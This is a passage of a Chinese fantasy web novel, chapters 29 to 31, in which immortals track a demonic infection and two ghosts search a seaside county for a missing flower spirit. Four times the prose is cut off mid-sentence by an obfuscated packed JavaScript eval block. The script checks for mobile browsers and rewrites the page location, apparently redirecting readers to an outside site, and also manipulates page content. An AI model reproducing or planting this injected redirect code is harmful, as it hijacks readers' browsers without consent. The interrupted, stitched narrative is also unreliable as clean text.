姬润摆摆手:“咳咳,行了,那你快去吧,我们下次再说。” 走出月宫,常瀞感到面颊还隐隐发烫,他用力拍了两下自己的脸,才勉强找回几分平日里靠谱稳重的仙君模样。 仙侍在前面引路,他恍恍惚惚在后面跟着,心思不知又飘到哪里去了。 这种恍恍惚惚的状态,直到他被人挡住去路才停止。 “星君上次来回来的人呢。”元灵挡在他身前,语气生硬。 常瀞本就为郁离心潮起伏,当下听到元灵提起来又羞又急,也不同他客气:“他又不是上清境的人,自然不在。” “我想再见见他。”元灵寸步不让。 “见不见该由他决定。”常瀞轻巧拨开元灵拦住他的手臂,“灵官,抱歉了,天尊还找我有事。” 仙侍从始至终就像什么也没有听到般,没露出半分好奇的神色,继续为常瀞引路。 正法殿建于石砌高台之上,威严而庄重。粗壮的一排廊柱分立,坚实地撑起屋檐。 殿内除了天尊湛昀外,还站着一个人。他们见常瀞走进来,不约而同地停下了交谈。 站在湛昀旁边的是上清境玄元道君谢榕,犹擅阵法,堪称上清境用阵第一人。他曾独创了一种隔灵阵,阵成之后阵内无法使用灵力,可惜因为阵法过于复杂晦涩,至今能成功用出来的人也就谢榕自己。 谢榕与湛昀飞升的时间相差无几,两人素来亲近。 常瀞对此人也颇有好感,因为谢榕太和善了,就像亲切的邻家兄长一般,对人永远是一副笑眯眯的样子。 他初飞升时,对于上清境的许多事情都不是很清楚,恰逢比他早一步飞升的姬润那时身体不太好,顾不上常瀞。多亏有谢榕,他受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196574|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了谢榕的很多照顾。 常瀞走到近前。 谢榕笑眯眯捧着一个透明的水晶杯子,杯子还里浮了几颗红艳艳的枸杞。 常瀞好奇道:“谢大哥,你这是开始养生了?” 谢榕点头,给常瀞展示了一下他的杯子:“不错,这是前阵子去酆都,酆都大帝向我传授的。” 常瀞乐道:“不是,酆都老头都多大年纪了,你跟他学啊,未免太早了点。” “不早啦,毕竟命只有一条,要珍惜啊。”谢榕叹道,对他和湛昀道,“你们可都要注意身体啊。” 湛昀,常瀞:“……” 说着,谢榕告辞,将正法殿留给了湛昀和常静。 湛昀见谢榕走远了,对常瀞歉然一笑:“常瀞,抱歉啊,你才刚执行完任务没多久,又得麻烦你了。” 常瀞惊疑:“难道——” 湛昀无奈叹气:“等寒酥来了一块说吧。” 重寒酥没让他们等多久,很快便赶到了正法殿。 “怎么常瀞也在。”重寒酥刚侍奉完他种下的小麦苗。他擦了擦额头上沁出的细汗,心头涌起了一股不好的预感。 湛昀清了清嗓子,直接入正题:“既然人齐了,那我便直接说了,找你们来是因为三元鉴又有动静了。” 常瀞没忍住:“啊?不会吧?又是魔物?” 重寒酥的预感成真,眼前一黑:“这和庐山镇那次之间隔的时间也太短了吧。” 湛昀拧眉:“我也很奇怪,但三元鉴给出的信息确是如此。就是因为太蹊跷了,我便想着此行还是得麻烦你们二位,毕竟你们刚同魔物交过手,更有经验。” 常瀞和重寒酥对视一眼,郑重应下了。 “你们放心,上次确实凶险,所以上清境此番会全力配合你们,随时关注你们那边的动向。” “那地点在哪里?” “在东洲。” …… 东洲,海平县。 郁离第一次来海边,走走停停,对海平县的种种都抱有很强的好奇。诸游倒没觉得有什么,他本身就是东洲人。 海平县比邻大海,街道上弥漫着海风送来的咸湿气息。但这种气味并不难闻,郁离细嗅之下,发现其中还夹杂着丝丝缕缕的清淡香气,不知从何而来。 住在海平县的人大多以捕鱼为生,随便走出几步都能见到当地人在摆摊,一个个鱼篓里装着不少活蹦乱跳的各色鱼虾。 郁离随便走进一家甜水铺子,招呼诸游也坐下歇歇。 诸游捶捶腿:“哎,这一趟可真远,不过来到这到觉得挺亲切。” “诸大哥,你家在附近吗?” “是啊,离这儿不远,我记得应当是在海平县再往西边点。” “那刚好,等咱们结束了,去看看吧。” “害,还看什么呀,我死了都几百年了,大隅早亡国了。” “那行吧,我们到时候再说,先打听正事。” 他们这一趟是受施娘所托,来海平县看看她的旧友。 据施娘所说,她那晚难得做了个梦,梦里她的旧友留着一行血泪,向她道别。 29. 红药(一) 在施娘的描述中,红药是一个历经恶意,仍然温良纯善的女子。 照理说红药这样的性格,和施娘一整个天差地别,可两人就是成了要好的姐妹。 九尾狐族避世隐居于青丘,在青丘长大的施娘自小就与其他同族都不一样。她向往自由,同族眼中平和安稳的小天地,于她而言如同镶着金银的牢笼。 在同族眼中施娘一直是个可笑的异类,但她从未理会过旁人的眼光,坚信着她一定能够去往更广阔的天地。 “九尾狐族尖利的爪牙是用来奔跑和撕咬的,而不是用来日复一日地梳理精心保养的皮毛。” 成年之时,她迫不及待地告别爹娘,离开青丘。从未踏出过青丘一步的爹娘虽然不理解女儿的内心,但他们爱她,只能含泪注视着他们唯一的女儿,头也不回的离去背影。 施娘遇见红药的时候,她已因在外断一尾,被终生驱逐出了青丘。 她四海为家,走到哪,若是觉得挺喜欢这个地方,就停下来歇几天,然后继续走。 九尾狐族天生貌美,但她从不遮掩,一路上也因此遇到不少麻烦。好在她妖力高强,麻烦都被她顺利解决了。 那一日也是,她好好在一间食肆里进餐,便被几个醉醺醺的男人围住了。男人口中散发出的恶臭酒气令她十分恶心,可顾忌着在茶馆里动手怕是会弄坏店内的桌椅,她又囊中羞涩,便打算忍一忍,赶紧用完餐走人。 几个男人口中话语越来越孟浪,其中一个见施娘始终不声不响,竟大胆地想要拉施娘的胳膊。她终于忍不住了,正当她捏紧拳头准备砸在那人脸上的时候,一个瘦弱的黑衣女子挡在了她面前。 施娘对这个黑衣女子有点印象,因为她一直戴着一个带有面纱的斗笠,连用餐都不曾摘下。在施娘遇到麻烦时,她也和食肆里的其他客人一样,装作没看见,这会儿却不知为何,又站出来了。 黑衣女子声音细细弱弱的:“你们……不能这样。” “哈哈哈哈哈,不能这样,不能那样啊。”男人见是个女子,也没生气,还试图撩开黑衣女子的面纱。 黑衣女子挡了几下,没挡住,整张脸暴露在人前。 “操,什么丑八怪!吓死老子了!快滚!” 黑衣女子狼狈地被推到在地上,无助地捂住脸。她的脸上有一块巨大的红色斑块,从额头穿过右眼至面颊。 施娘见女子被推倒更是火冒三丈,提起拳头,在众人惊讶的眼光中,三拳两脚便把那几个男人打得哭爹喊娘,屁滚尿流。 她拍拍手,把黑衣女子拉起来,轻轻扳起她低垂的头:“女孩子不要低着头。” 施娘最后引损坏食肆桌椅板凳,被“扣在”店内帮工抵账。其实食肆老板本没想让她赔偿损失,毕竟老板也看到了前因后果。可施娘太过喜欢这间食肆的白切鸡,想着当帮工还能享受免费三餐,便强行要求赔偿。 老板见她手脚麻利,还能吸引顾客,也就随她去了。 白切鸡太好吃了,施娘一呆就是三月。在这三个月里,她和黑衣女子熟悉起来。 说来真是奇怪,两人明明是不一样的性格,却十分投缘。 黑衣女子名叫红药,竟也是妖族。施娘很是惊喜,妖族几乎都在人烟稀少的深山大泽里生活,她很少在人族的地界遇见妖族。 红药是花妖,花妖一族以美貌为尊。她脸上有这么大一片红色的斑块,自小就被排挤。讥讽和恶意令她痛苦不堪,无奈之下,她只能离开家乡,掩藏妖族身份,混在在人族中生存。 施娘平生头一回这么温柔:“不要管他们,美貌是多种多样的,你也有自己的美。” 她提起朱笔,顺着红药脸上红斑的边缘,细细描了一朵盛放的芍药。 然后她给红药找来一身红衣换上,扔掉了她的黑衣裳和斗笠:“你本是一朵红色的芍药,红色更衬你。” 红药第一次正视镜中的自己,镜中映出的是一个与往日完全不同的自己,她笑着笑着,渐渐泪湿眼眶。 她们相伴同行,走过了许多不同的国家,不同的地方。遇到过惊险,也收获过喜悦。 直到她们走到了海平县,红药曾在一个风雪交加的夜中来过这里。 是一位好心的婆婆见她独自一人在风雪中赶路,主动给她递上一碗热粥,留她住了一夜。 一饭一夜之恩,却是她生命中收到过的,为数不多的善意。所以,当她再来海平镇,发现婆婆生着病却无人照顾时,毅然选择了留下来照顾婆婆。 红药在那间哪怕是在记忆里都十分温暖的小屋中,送走了婆婆。 婆婆的老伴儿早就离世了,她有一个女儿,在年轻时也生病离世了。她到老了,孤苦无依,幸而有红药作伴。 临终前,婆婆将这间小屋留给了红药。有个能落脚的地方,便算是有个家。 这之后,红药便留在了海平县,留在了那间小屋里,再也没有离开过。 她是花妖,没什么攻击能力,却有着与生俱来的,利用香气影响人心神,甚至记忆的能力。范围不大,却能确保她在这间小屋长住,而不被人发现她是寿命很长的妖族。 施娘知道她留在了海平县,时不时会来看看她。后来施娘身死,入鸡鸣巷,又换成红药时不时来看她。 在施娘做这个梦之前,红药已经有段时间没来看过她了。她越想越心慌,可作为鸡鸣巷三巷主之首,她与郁离诸游不同,比他们多了一重使命。 她和巷子里的众鬼一样,除了每月十五,不得离开鸡鸣巷。她只能拜托相对自由些的郁离和诸游去看看。 郁离和诸游在甜水铺子歇够了,走之前向店家询问了施娘给的红药家的地址。 店家见他们二人都戴着个面具,神神秘秘的,起初还不愿说。还是靠着诸游的一番游说,指天誓日保证他们就是来访友,绝对不是坏人,店家才放下戒心,告诉他们。 诸游超强的交友能力让店家热络起来:“哎,你们赶上好时候了,我们县刚上任了位新县令,把全县上下治理的井然有序。这儿的景色也好,你们要是不着急可以好好在这儿玩一阵子。” 郁离他们只惦记着赶紧找到红药,对店家口中的新县令毫无兴趣,道谢过后就离开了。 他们顺着店家指的方向,七拐八拐来到了海平县的边缘。 这里只有几户人家,其中一户人家拴在树上的小狗见到生人,大叫起来。 诸游“嘿”了一声,装作很凶的样子,要拿石头砸它,小狗又夹着尾巴卧下。 远远望去,开满红色芍药的小院里坐落着一间小屋,小屋上方炊烟袅袅,看起来红药正在家做饭。 他们放下心来,走到近前却发现和他们所想的完全不同。 红药的小屋成了一间食肆,里面只有一位驼背的老婆婆。 老婆婆见他们进来,和蔼地笑道:“来碗面?” 灶上的一锅面汤蒸腾出热气,郁离感到暖洋洋的:“抱歉,我们是来找人的。” 老婆婆听他们说不吃面也不生气,仍旧很和蔼:“找谁呢?” 诸游打量了一下店里,只摆着两套简易的木制桌椅:“婆婆您知道先前住在这里的姑娘去哪了吗?” 婆婆一怔:“这哪有什么姑娘,我都在这里做了一辈子面啦。” 这下两人是真懵了,地方没有找错啊,施娘口中红药的小院里种了一大片芍药,这里也确实种了红色的芍药。 诸游追问:“怎么会呢,确实是这里啊,这附近不就这家院子里种了大片芍药。” 婆婆不解:“我确实一直住在这里,芍药也是我种下的。你们要找的姑娘叫什么名字。” “红药,她叫红药。” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196575|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思啊,我没听过这个名字,你们在附近问问吧。” 他们在附近的几户人家问了个遍,没一个人听过红药这个名字,都说那户人家一直是郑婆婆住着。 “邪门了。一个大活人怎么就不见了。”诸游愁眉苦脸,“施娘那个梦不会真应了吧,红药八成是遇到危险了,托梦向她求救呢。” 郁离细细观察四周:“咱们方才也转过一圈了,没发现什么不对劲儿的地方。” “没发现不对劲儿,就是最大的不对劲儿啊。” “你说得也倒是。目前基本可以排除恶鬼作祟,毕竟能在鸡鸣巷眼皮子底下藏住的恶鬼怕是不存在。” “那妖呢,妖咱们可没办法了。诶,阿离你不也是妖族,试试看能不能感知到妖气?” “你是不是忘了我本就妖力低微,红药好歹也是千年大妖,我是给了你什么错觉,让你觉得我可以感知出她的去向。” “哈哈,这不是平时看你的傀术太强了嘛。” 他们又商量了一番决定求助当地的土地仙。 海平县,土地庙。 土地仙打着哈欠显形,想了好一会儿:“千年大妖?没错,是有一只大妖,还挺老实的。她刚留在这儿时,我那叫一个害怕,但观察了一阵子,发现她妖气纯净,武力可以说几乎没有,就放下心了。” 这几乎可以断定就是红药了,诸游激动追问:“那她人呢?” 土地仙莫名其妙:“就在此地啊,她的妖气我还能感应到。” 郁离耐心:“那可以感应到具体位置吗?我们找不到她。” 土地仙闭目,片刻后满是疑惑地睁开眼:“奇怪,太奇怪了,满城都是她的妖气。” “怎么会?”郁离眉头紧锁,“您说之前观察过她,还记得她之前是住在哪里吗?” 土地仙在小小的土地庙里打转了几个来回,然后告诉他们:“太奇怪了,我不记得了。不应当啊,难道是我老糊涂了?” 线索既然断在这里了,他们只得离开。土地仙答应他们,之后若有什么发现或是回想起来什么就告知他们。 二人走出土地庙对视一眼,均看到了对方眼中的凝重。 诸游断言:“肯定是出事儿了,这可怎么办?一点儿头绪都没有。” 郁离沉思片刻:“在县里其他地方问问看吧,至少现在能肯定红药还在县里。” 他们兵分两路,沿着海平县最繁华的街道,见人就问。一个时辰下来,得到的全是不曾见过的回答。 诸游问得口干舌燥:“这样下去不行啊,海平县也不小,得问到什么时候去。” 郁离也发觉这样下去只是徒劳,他看着街对面正在巡逻的官兵,想到了一个主意。 “报官?!”诸游声音高了八度,“这能行吗?” 郁离反问:“怎么不行。红药是以人的身份生活在这里的,现在人不见了,为什么不可以报官。而且她脸上还绘着明显的芍药印记,若有人见过,肯定会有印象。” “也对,那就试试,反正现在也没别的办法了。” 他们很快走完了官府的流程,看着官兵将红药的画像张贴在大街小巷里。 诸游叹道:“那个甜水铺子的老板真没说错,海平县官府是挺雷厉风行。” 郁离的目光落在画像上,画像上的红药笑容温柔,她脸上的芍药花被官府的画师描得红到刺目。 “这位女子是谁,我怎么好像在哪里见过。”一位青年停下脚步,站在他们旁边,喃喃自语。 郁离喜出望外,这也太巧了,画像刚贴上不久,就有线索了。 “请问公子是在哪里见到她的?”郁离忙道,他见青年的神色狐疑起来,又补了一句:“就是我们在找这位姑娘。” 谁知青年细细想过后,眉峰蹙起:“抱歉啊,我不记得了。” 30. 红药(二) 这是怎么回事儿啊,怎么人人都有印象,却又人人不记得。郁离在心里叹了一口气。 青年却像是对画像上的姑娘极为感兴趣般,连问了好几个问题。 这回又轮到了郁离和褚游面露警惕之色。 见他们愈发戒备,青年主动介绍道:“我是海平县的现任县令,我没有别的意思,就是瞧着这位姑娘面善,想看看能不能帮上你们一二。喔,我叫蒲薪。” 褚游顿时放下警惕,套近乎:“县令大人,我们一进海平县就听说了,百姓都夸您是位好官呢,您可得好好再帮我们想想啊。我们俩是外乡人,初来乍到,哪哪都不熟悉。” 蒲薪对褚游的恭维看得出来很不适应,他搓搓手:“对了,你们还没告诉我呢,这位姑娘失踪多久了。” 郁离听他问起红药的失踪时间,无奈道:“我们也不清楚。” 蒲薪很不理解:“啊?不清楚,这更难办了。她是你们的什么人?” 褚游挠了挠头:“是朋友的朋友。” “那你们的朋友与这位姑娘多久没见了?” “我记得是有……五年?” “五年呀,那这失踪时间是不好确认了。”蒲薪震惊道,“不过她俩可感情真好啊,五年不见还不忘托朋友来看看。” 郁离支吾着解释了几句,混过了这个话题。 她们可是妖啊,五年在她们眼中也不过就是弹指一挥间,时间对她们来说算的了什么。 蒲薪继续问:“那这位红药姑娘住在哪里,咱们再去看看?” 褚游干脆应道:“成,您毕竟是本县人,说不定能发现点我们没看出来的东西。” 三人边走边谈论,郁离向蒲薪补充了一些关于红药失踪的细节。说着说着他们便来到了红药家附近。 蒲薪远远看到了那片竹篱围起来的大片红色芍药,不禁停下脚步,心中泛起微澜。他来过这儿吗,感觉好熟悉。可是又一点印象也没有,罢了,或许他是从前在县里视察的时候转到过这里吧。 “汪汪汪!” 就蒲薪暗自思考的工夫,褚游和郁离已经领先蒲薪了好几步,附近那户人家栓着的狗见他俩经过又大叫起来。 “这只狗真是,来一回叫一回。”褚游气道,转头看见蒲薪停在那不动了,唤道:“县令大人?您怎么站那不动了。” 蒲薪回过神来,快走了几步。走到褚游身旁时,狗又大叫起来。 “嘿,你还叫!”褚游作势要捡石头砸他,“真是傻狗,见到我的厉害了?又摇开尾巴了?” 郁离已经停在了那家食肆的院子前:“褚大哥,快来吧。” 褚游将石子扔到路边:“我就是见这狗长得挺威风的,想逗逗它。” 蒲薪端详着面前这间食肆。店内有些简陋,只有两套桌椅,却打扫得很干净,墙上还挂着一幅芍药刺绣,能很看出来针法比较稚嫩。 郑婆婆从内间掀开帘子走出来,见平时少人问津的食肆一下来了三个人。她有些惊讶,当下便愣在原地,反应过来后忙招呼他们坐下。 毕竟是又一次来,面对老婆婆如此热情的招呼,郁离有些不好意思,干脆坐了下来。 郑婆婆端上三碗面汤:“我这小店里只卖面,来三碗?” “什么面?” “黄鱼捞面。” “好呀,我最爱吃黄鱼捞面了。”蒲薪笑着向郁离和褚游介绍,“我们县的黄鱼捞面是一绝,都是当天从海里捞上来,当天吃,可鲜了。” 郑婆婆欣喜地应了一声,回到内间做面去了。 三碗热气腾腾的黄鱼捞面很快做好端了上来。爽口莹润的鱼片码在面上,肉质幼嫩,唇齿留香。鱼片下是劲道的面条,根根浸润在鲜醇丝滑的鱼汤中,挂满汤汁。 明明尝不出什么味道,看蒲薪埋头吃得香,郁离也被感染着多吃了几口。 褚游也尝不出味道,但他嘴甜,面不改色一口一个这面真好吃,哄得郑婆婆眉开眼笑,又问出了些郑婆婆的事。 郑婆婆不是一个人在经营这间食肆,她有个女儿,嫁去了临县。女儿的孩子前几日满月,她的老伴儿就去临县看女儿了。她腿脚不好,加上女儿生孩子她才去看过,就留了下来。 面吃完,在郑婆婆一声声“好吃常来啊”的亲切话语声中,三人离开了这间看起来全无一丝诡异之处,甚至还能称得上是温馨的食肆。 郁离走出好几步,确保郑婆婆听不到他们的谈话内容后,直接问道:“怎么样?县令大人?” “没有,都还挺正常的。”蒲薪回头又看了眼食肆,“不过,太过正常反倒才不正常吧。住在这儿的姑娘变成了一个老婆婆,附近的人都还不记得,怎么想都很奇怪。” 郁离沉吟不语。 蒲薪又道:“不过,你们找的这位姑娘到底是做什么的呀。” 还在观察四周的褚游听到蒲薪的问话,几步便挪回了郁离身侧。 郁离抬眸,直勾勾盯着蒲薪:“县令大人是什么意思?” “哦,别误会别误会。我毕竟是海平县的县令,县里出了这么一件奇怪的案子,我只是想了解的更清楚一点。”蒲薪被他们忽然变脸吓了一跳,“外边来的年轻的姑娘,独自住在这么偏的位置,又突然失踪,来找她的二位,又打扮的这么奇怪。我有点疑心也是可以理解的吧。” 气氛松弛下来了一些,郁离想了想,半真半假地解释道:“我和褚大哥是从南疆一个小宗门来的,宗门有点特殊的规矩,不能以真面目示人。至于,我们找的这位姑娘也有修为在身,在海平县受人恩惠,所以才留了下来。” 蒲薪在听到郁离说他们是修仙之人时,眼睛就亮了起来,疑心已基本打消:“太好了!我其实也遇到了件怪事,二位仙长能不能帮帮我!” “?” 蒲薪刚准备开口,忽然想到他本来是陪他们找人的,现在人还没找到,又提要求,感觉是不是不太好。 郁离看出了他犹豫着没开口的原因:“没事的,你先说吧。” 这小小海平县同时出了两件怪事,或许会有什么联系呢。 蒲薪见郁离如此痛快,也没了心里负担:“其实就是县令府,最近总是能听到奇怪的吼声,不像是野兽,也不像是人。我组织过人手去查也没查出来什么,便怀疑是不是妖或者鬼作祟。可县里都是些普通人,我正发愁着要不要去外面找找人,你们就来了。” “奇怪的吼声?除了吼声还有别的事情发生吗?” “没有了。” 郁离和褚游对视一眼,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14196576|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认为得去看看。 蒲薪听到他俩同意了,高兴地邀请他们在海平县找人期间住在县令府:“你们别客气,县令府够大,就住了我和我妹妹。” 县令府如蒲薪所言,单看大门就能够感受到里面应当是够大够阔气。 蒲薪领着他们穿过前院,走过几道游廊,最后来到了花园里。花园是县令府的正中心,也是奇怪的吼声最响最清晰的地方。 郁离拧着眉,他没有感知到任何气息,无论是妖还是恶鬼。褚游也无声地冲他摇了摇头。 得到否定的答案后,蒲薪也没有太过失望,只是请他们夜里再留意一下。吼声白日里很少出现,夜里比较频繁。 随后有侍卫来传话,蒲薪有些不好意思:“抱歉啊,忽然有公务,我还说带你们转一转呢。” “没事,你先去忙吧。” “那你们在花园里随便看看,等下侍女过来带你们转。” 郁离注视着蒲薪渐渐远去的背影,陷入深思。 褚游走到花园边上的亭子里坐下,放空地望着天空:“阿离,红药的事情,咱们是不是告诉施娘一声啊。” “等两天吧,要是还没有线索,再告诉她。”郁离也坐过来,“现在跟她说,她也是干着急,还没到她能离巷的时间。” 两人齐齐叹了口气,窝在亭子里不动了。 天上的云慢悠悠飘着,郁离的思绪不由自主飞到了上清境。 不知道常瀞现在在干什么呢,还生不生气了,上次话都说到那么绝情了,应该不会再来找他了吧。 这样,也好。 “巷主大人,巷主大人。” 郁离循声望去,一个矮个子小老头在树丛后向他招手。他定睛一看,原来是土地仙。 土地仙鬼鬼祟祟怕人看到,小声撂下一句话就跑。 “我想起来一件事,那个大妖,她收养过两个小孩。” 褚游靠过来:“怎么回事,也没听施娘提过啊?” 郁离也一头雾水:“当时也没想过人会失踪啊,可能她觉得这事不重要吧。” 不过现在好了,失踪名单上又多了两个小孩。 入夜,蒲薪仍未归,还在县衙。侍女便让他们先去休息。 白日侍女已经带着他们逛了一圈县令府,他们选了离花园最近的两间客房。从侍女和侍卫的口中他们也委婉地打探了下这位海平县的新县令。 蒲薪父母恩爱,家庭幸福,与妹妹一起在海平县长大。在他接任海平县县令时,父母便出门远游去了。提起这位新县令所有人都交口称赞,有才干,善良朴实,他们听到了很多这样类似的词。 总之,蒲薪的人生几乎可以称得上是完美了。 郁离心里记挂着夜里可能会出现的吼声,睡不踏实,干脆起身靠在窗前看月亮。 就在这时,一道影子无声无息地落在了屋顶上,尽管很轻,但还是被郁离捕捉到了那一点细微的动静。 他当即甩出一道银光,银光追上屋顶。 “铮”的一声,似乎有刀剑相接。 郁离镇定地翻出窗子,打算跟上去看看。然而没等他站定,刀剑声猝然停了。 微风如丝,从他耳旁拂过,伴着夜色中浮动的不知名清香。有人从身后拥住了他。 31. 红药(三) 郁离心头一紧,手腕一翻,出现一把尖刀。他毫不犹豫,直接向身后刺去。 那人也没想到他能这么狠,在刀尖刺破衣服的瞬间,终于开口喊道:“停停停!是我!” 郁离大惊,手上力道卸了个干净。他回头,身后正是有段时间没见的常瀞。 常瀞捂着小腹,对上郁离的视线,嘴角艰难扯出一个微笑,继而又疼得叫唤起来。 听见常瀞喊疼,郁离也顾不上处理自己的表情和情绪了,赶忙上前查看。 一看,常瀞的衣服确实是被刺破了,可皮肉上也就破了个小口子。 郁离听着常瀞的叫唤,半信半疑,又细细查看了下,发现确实不严重。他明白了,八成是常瀞又演开了,从前他就这样,初入碧影山时受了那么重的伤都面不改色,等到他们熟悉了起来,被竹叶刮破点儿皮都能让他把天喊翻了。 真是,娇气。 上次在碧影山不欢而散,本以为再见怕是困难了,可谁曾想,他们在这么偏僻的海平县又再一次相遇。难道,这就是所谓的上天的指引? 郁离最终决定以不变应万变,他后退几步:“抱歉啊,星君,方才不知道是你。” 见郁离神色平静,常瀞也歇了演戏的劲头,心酸地想,这孩子真是不打算认他了,从前他受伤,郁离虽然嘴上不说,但是也忙前忙后地帮他上药。 常瀞把门关上:“没事,也怪我。不过,你怎么在这里?” 郁离想了想,也没有隐瞒,将他和褚游来海平县的缘由和到这里以后的所见所闻一一说了。 常瀞听着听着,眉头渐渐蹙起。 “那星君呢,又为什么会出现在这儿?” 这就要从常瀞和重寒酥从上清境离开后说起。 他俩跟着三元鉴的指引,在太阳落山时到达了海平县。本还想着靠两个人搜全县,估计得大半天。可谁知,一进海平县,两人就大惊失色。 全城,都是魔气。 他俩从未见过这种场面,打起万分精神在街上转了转,却发现这里没有出现他们想象中的那种魔物肆虐的景象。 冷静下来后,他们发现,魔气虽然遍布全城,但是很淡。海平县的百姓们,也没有被魔物控制的明显迹象。 就算魔气到处都是,也总该有个源头吧。他们商量了一下,决定分头去找,魔气最重的地方。 “就是这样,我和寒酥分开后,就顺着魔气,一路追来了县令府。外面的花园又是县令府里魔气最重的地方。”常瀞绕到屏风后面,换了一身衣服,“我正想着先离开去找寒酥,你的傀就杀上来了。” “魔气?”郁离不解,“为什么我和褚大哥什么都没感知到?” 常瀞整理衣服,掏出一把和新衣颜色相配的扇子:“只有上清境的人才能感知,而且当我们可以直接感知到魔气时,往往说明,此地已经有被魔物感染的人类了。” “感染?” “对,就比如上次咱们在庐山镇遇到魔物,它只是寄生在府兵体内,诱惑那名府兵帮他做事。恰好那名府兵修鬼道,庐山镇才会有食血鬼和那些被鬼替换的府兵。魔物的宿主若是活着,它只要有心隐瞒,在一片区域不聚集大量魔物的情况下,很容易就能骗过我们。” 这其实只是对魔物来说最低级的手段,魔物之所以一经出现就被列为三界公敌,是因为,它们可以感染人类,被感染者又可以感染其他人。上古时期的那场大战,还有三百年前的金石城惨案,都是魔物大肆使用感染手段造成的。 大多数关于魔物因何降临的猜测是这样的。魔物,受人类心底的恶念吸引,它们没有实体,却拥有这世上最恶毒的想法。 它们最初只是受宿主的恶念吸引,将恶念转化为一颗恶毒的种子种在宿主心底,随着源源不断的催发和吸收恶意,它渐渐长成,欺骗诱惑宿主为它所用。宿主死亡,它又可以另寻他主,不死不灭。有意思的是,魔物只有寄生人类的记录,却没有寄生妖族的记录。 魔物在寄生期间,可以选择隐藏自身,指挥宿主。也可以感染宿主,它们长时间寄生在宿主体内后,便可以吞噬宿主的精神,将宿主变为一具行尸走肉。行尸走肉又可以感染其他人类,此时也可以感染妖族。 一旦魔物选择感染宿主,那它的魔气将会无所遁形,这便是常瀞笃定海平县已有魔物感染人类的缘故。 常瀞忧心忡忡道:“必须得快点找到感染的源头,一旦感染开始,海平县怕是会成为下一座金石城。” 郁离也担心起来,他没想到来海平县至今红药连个影子都没见到,又冒出来个魔物危机。 “我先去把褚大哥叫过来。” “等一下。” 郁离被叫住,停下推开房门的动作,扭头望向常瀞。 常瀞张张口,又无力的合上,半晌,他笑道:“我就是想说,听你说完来意,我感觉红药失踪和魔物现形这两件事八成脱不开干系。反正海平县就这么大,咱们接下来调查时,相互留意着。” 郁离应道:“好,魔物的事情也很重要,星君放心,我们会留意的。” “然后,然后。”常瀞一咬牙,说完在口中打转的话,“上次在碧影山,是我唐突了。可我觉得,相遇一场便是缘分,咱们今后还算是朋友吧?” 郁离的手按在门板上,指尖泛白:“那是,自然。” 朋友?好一个朋友。只是,常瀞忽然这么说,是因为相信他不是郁离了?怕是不见得,反正这回常瀞主动退一步也好,大不了他今后都不出鸡鸣巷,再也不让常瀞瞧见他就是了。 不过,好像每回他这么一想,后面总能出现各种情况让他们再相遇。海平县之后,他们真的就能够再也不相遇吗? 郁离到花园的另一侧的客房将褚游叫过来,他与褚游的客房分列花园两侧。 褚游原本睡眼惺忪,在发现常瀞也在这里后他瞪大了双眼,睡意全无:“不是,我这还在做梦呢?星君怎么在这?” 常瀞又解释了一遍,褚游听完抓了个重点:“那咱们快把春神大人找过来吧。” 郁离白眼还没翻起来,窗外一声嚎叫划破天际。 三人迅速看向窗外,而后常瀞沉着脸道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14200722|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没错,是被魔物感染的人类。” 白日宁静秀美的花园,此刻在黑夜和嚎叫声中显得阴气森森。嚎叫一声接着一声,时高时低,时尖时粗,不似人声。 他们跃窗而出,轻巧落地,默契地选了三个不同的方向,向花园中心包抄。 郁离伏低身体,放出来几只傀跟在左右。或许是因为放低了视线,也或许是因为夜色的映衬,花园的花枝此刻像是破土而出的畸形手掌,一根根手指奇长,盘踞在一起想要拦住他的去路。 他一边绕开这些花,一边谨慎地观察四周。四下一忽然片安静,凄厉的吼声停了,他已经快来到花园的中心位置了,还是没有发现任何异常。 真是奇怪,嚎叫声是从哪里传出来的呢。郁离正想着,对面异变陡升。 “操!什么东西!” 